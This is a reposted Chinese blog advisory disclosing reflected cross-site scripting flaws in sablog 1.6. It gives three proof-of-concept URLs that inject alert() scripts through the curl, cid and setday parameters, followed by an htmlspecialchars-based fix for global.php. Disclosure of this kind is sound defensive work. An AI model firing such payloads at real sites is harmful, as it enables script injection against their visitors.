sablog 1.6 多个跨站漏洞
来源:CNsHaRk‘s BLog
Version:sablog 1.6
由于过滤不严,存在多个跨站漏洞
PS:
http://www.amxku.net/?viewmode=list&curl=>"><ScRiPt%20%0a%0d>alert(amxku)%3B</ScRiPt>
http://www.amxku.net/?action=index&cid=>"><ScRiPt%20%0a%0d>alert(amxku)%3B</ScRiPt>
http://www.amxku.net/?action=index&setdate=200804&setday=>"><ScRiPt%20%0a%0d>alert(amxku)%3B</ScRiPt>&page=1
临时解决办法:
<br />在global.php中过滤curl,cid,setday等 <br />$modelink = '';<br />if ($action) {<br />$modelink .= '&action='.$action;<br />}<br />if ($curl) {<br />$modelink .= '&curl='.htmlspecialchars($curl);<br />}<br />if ($cid) {<br />$modelink .= '&cid='.htmlspecialchars($cid);<br />}<br />if ($setdate) {<br />$modelink .= '&setdate='.htmlspecialchars($setdate);<br />}<br />if ($setday) {<br />$modelink .= '&setday='.htmlspecialchars($setday);<br />}<br />if (intval($_GET['searchid'])) {<br />$modelink .= '&searchid='.htmlspecialchars($_GET['searchid']);<br />}<br />if (intval($_GET['userid'])) {<br />$modelink .= "&userid=".htmlspecialchars($_GET['userid']);<br />}<br />if ($_GET['item']) {<br />$item = urlencode(addslashes($item));<br />$modelink .= '&item='.$item;<br />}
转载请注明:woyigui's blog [http://www.woyigui.cn/]
本文标题:sablog 1.6 多个跨站漏洞
本文地址:http://www.woyigui.cn/2008/04/03/sablog-1_6cross-site-vulnerability/
最新评论